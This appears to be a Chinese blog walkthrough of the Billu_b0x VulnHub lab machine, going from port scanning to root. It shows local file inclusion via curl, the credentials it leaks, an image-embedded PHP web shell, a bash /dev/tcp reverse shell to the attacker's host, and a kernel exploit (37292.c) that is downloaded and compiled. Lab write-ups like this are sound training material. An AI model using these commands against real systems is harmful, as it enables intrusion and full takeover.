Billu_b0x靶机

信息收集

使用arp-scan 生成网络接口地址来查看ip

输入命令:

arp-scan -l

可以查看到我们的目标ip为192.168.187.153

在这里插入图片描述

nmap扫描端口开放

输入命令:

nmap -min-rate 10000 -p- 192.168.187.153

可以看到开放2个端口

在这里插入图片描述

nmap扫描端口信息

输入命令:

nmap -sC -sT -A -p 22,80 192.168.187.153

在这里插入图片描述

nmap漏洞脚本扫描

输入命令:

nmap --script=vuln 192.168.187.153

这里没有扫描可以利用的信息

在这里插入图片描述

查看web端

页面上有一个登录的地方,但是还不知道密码,不过提示了一句向我展示你的sql技巧,看样子是想让我们使用sql注入

在这里插入图片描述

扫描子目录

输入命令:

dirsearch -u http://192.168.187.153

可以发现一些子目录

在这里插入图片描述

输入命令:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html -u http://192.168.187.153 -t 50

这里也看到了一些子目录,等下访问看看

在这里插入图片描述

这个目录下查看到phpinfo()信息

在这里插入图片描述

查看php配置信息

在这个下面可以看到allow_url_fopen是on状态,可以允许本地文件包含

在这里插入图片描述

发现登录页面

这里看到了另一个新的页面,但是我们现在没有密码,先去找密码

在这里插入图片描述

发现文件包含页面

这里的test目录下看到了一个新的提示

在这里插入图片描述

翻译内容,看来是要我们加上file参数,有可能这里就是文件包含的位置,试一下

在这里插入图片描述

构造url语句

get请求验证

我们先尝试了get请求下的文件包含语句,但是发现没有成功

http://192.168.187.153/test.php?file=../../../etc/passwd

在这里插入图片描述

post请求验证

接下来尝试一下post请求的文件包含语句。这里可以使用bp来实现,也可以在kali中借助curl这个工具实现,这里使用的后者

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=…/…/…/etc/passwd

发现成功回显了信息,证明确实是存在本地文件包含

在这里插入图片描述

利用文件包含读取文件信息

既然已经证实存在了文件包含,那我们可以读取很多之前看不到的文件的信息了

查看add.php

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=add.php

add.php是一个上传界面,但是功能无法使用,查看源码文件发现只是个页面,没有后台处理代码

在这里插入图片描述

拿到数据库的密码信息

查看c.php

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=c.php

在这里看到了疑似数据库的连接用户名和密码,等下可以去查看一下

billu:b0x_billu

在这里插入图片描述

登录数据库

返回phpmy页面尝试登录,发现成功登录。

在这里插入图片描述

发现版本信息

这里在右下角发现了很多版本的信息

在这里插入图片描述

发现用户信息

然后在这个位置又找到了一组登录的信息

biLLu:hEx_it

在这里插入图片描述

渗透思路

这里我们有三种思路可选

  • 可以从phpmyadmin的版本入手,查找有无对应的漏洞

输入命令:

searchsploit phpMyAdmin 3.4.7

但是没有找到,所以这条路行不通

在这里插入图片描述

  • phpmyadmin的相关配置文件一般都是config.inc.php

在我们当前可以利用文件包含阅读其他文件的基础上,我们可以查看这个配置文件中的内容和信息。可以猜测一下,这个配置文件的存放

位置就是在 phpMy的目录下,通过URL猜测路径默认在/var/www/phpmy下面

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=/var/www/phpmy/config.inc.php

直接发现了root用户的登录密码(我人傻了。这么简单吗,sql注入没用呢,主页面还没有登录呢,我勒个去!!!)

root:roottoor

在这里插入图片描述

尝试ssh登录

直接试试ssh登录root用户(还是很怀疑是不是有这么简单)

输入命令:

ssh root@192.168.187.153

输入密码roottoor 发现成功登录,然后直接找flag就行(我已经人傻了)

在这里插入图片描述

  • 第三种就是正常思路了,可以去主页面登录用户名的信息,然后继续去做就可以

登录主页面

虽然上面的方法已经成功拿到了root权限,但是还是想着继续从其他方向突破试试那我们就回到主页面登录尝试一下,然后发现成功登录

在这里插入图片描述

这里登录进来后,又看到了文件上传的地点

在这里插入图片描述

制作图片木马

尝试过了weevely的加密木马,无法连接,所以还是老老实实反弹shell吧,准备好一张可以上传的图片,可以提前试一下,然后准备好我们的php文件,配置好ip和端口

输入命令:

cat 1.gif 123.php > 2.gif

在这里插入图片描述

成功合成了图片

在这里插入图片描述

上传图片木马

点击上传后,发现成功上传

在这里插入图片描述

现在先开启监听

在这里插入图片描述

结合之前扫描到的子目录,我们可以推测照片在uploaded_images/这个目录下,打开发现果然存在

在这里插入图片描述

我们打开我们上传的图片木马,回到kali中可以看到并没有反弹成功,可见直接打开图片,并不会执行代码

在这里插入图片描述

利用文件包含执行图片木马中的php语句

这里我们可以使用文件包含来执行图片里的php语句

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=/var/www/uploaded_images/3.gif

在这里插入图片描述

但是kali中无法反弹成功

在这里插入图片描述

查询文件包含的函数

这里不知道为什么失败,查询一下当前页面的文件包含函数是什么

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=test.php

发现是readfile()这个参数

在这里插入图片描述

经过上网搜查readfile的功能,是属于任意文件读取**。**无法执行php代码。所以我们上传的php反弹语句无法执行

在这里插入图片描述

漏洞挖掘

然后这里实在是没思路了,后来找了半天问了一下大佬,才知道在panel.php这个页面中存在本地文件包含漏洞

我们查看一下这个文件

输入命令:

curl -X POST http://192.168.187.153/test.php -d file=panel.php

发现了include()这个函数,那我们可以在这里进行一个文件包含漏洞的利用

在这里插入图片描述

构造一句话木马

还是利用图片木马的原理,不过这次我们需要构造一句话木马

在这里插入图片描述

再次合成图片木马

输入命令:

cat 1.gif shell.php > 4.gif

在这里插入图片描述

上传图片木马

显示上传成功

在这里插入图片描述

文件包含漏洞利用

上传成功了,那我们就先试试有没有效果,bp抓包一下,load=/uploaded_images/4.gif&continue=continue

上面的cmd配置为cmd=cat%20/etc/passwd;ls 这里的空格必须使用url编码才能执行成功,然后在右面也可以看到返回值

在这里插入图片描述

那我们先开启监听

在这里插入图片描述

配置反弹语句

echo “bash -i >& /dev/tcp/192.168.187.128/8888 0>&1” | bash

由于之前就实验了必须使用url编码才能够执行语句,所以我们先将语句进行url编码

在这里插入图片描述

然后在bp中执行这段语句

在这里插入图片描述

执行以后就可以发现反弹shell成功了

在这里插入图片描述

提权思路

这里提权思路有这几种

sudo提权,suid提权,内核漏洞提权,计划任务提权

正常情况下,我们肯定是要一个个去试试的,对于这个靶机而言,经过尝试后,最终要使用的提权方法为内核漏洞提权

查找内核信息

输入命令:

uname -a

在这里插入图片描述

输入命令:

cat /etc/issue.net

在这里插入图片描述

查找漏洞

然后去查找有无对应的漏洞

输入命令:

searchsploit linux 3.13

这里找到了一个符合条件的漏洞文件,拿来试试

在这里插入图片描述

漏洞利用

首先将这个文件拷贝到桌面上

输入命令:

searchsploit -m 37292.c

在这里插入图片描述

然后开启http临时服务

输入命令:

python3 -m http.server 80

在这里插入图片描述

在靶机中使用wget命令下载文件(最好在/tmp目录下)

在这里插入图片描述

查看一下文件是否传输成功,发现没有问题

在这里插入图片描述

提权成功

编译,赋权,执行

输入命令:

gcc 37292.c -o exp

chmod 777 exp

./exp

执行完以后就发现已经是root权限了

在这里插入图片描述

相关推荐

  1. [VulnHub靶机渗透]:billu_b0x 快速通关

    2024-07-15 17:12:01       54 阅读
  2. <span style='color:red;'>0</span><span style='color:red;'>X</span>04

    0X04

    2024-07-15 17:12:01      41 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-15 17:12:01       66 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-15 17:12:01       70 阅读
  3. 在Django里面运行非项目文件

    2024-07-15 17:12:01       57 阅读
  4. Python语言-面向对象

    2024-07-15 17:12:01       68 阅读

热门阅读

  1. Packmen

    2024-07-15 17:12:01       27 阅读
  2. Python 相关问答

    2024-07-15 17:12:01       26 阅读
  3. 释放Cython的力量:解决PyCharm中加速问题的策略

    2024-07-15 17:12:01       20 阅读
  4. RTOS事件集的使用

    2024-07-15 17:12:01       21 阅读
  5. 社团信息管理系统

    2024-07-15 17:12:01       20 阅读
  6. OpenCV中的轮廓检测cv2.findContours()

    2024-07-15 17:12:01       22 阅读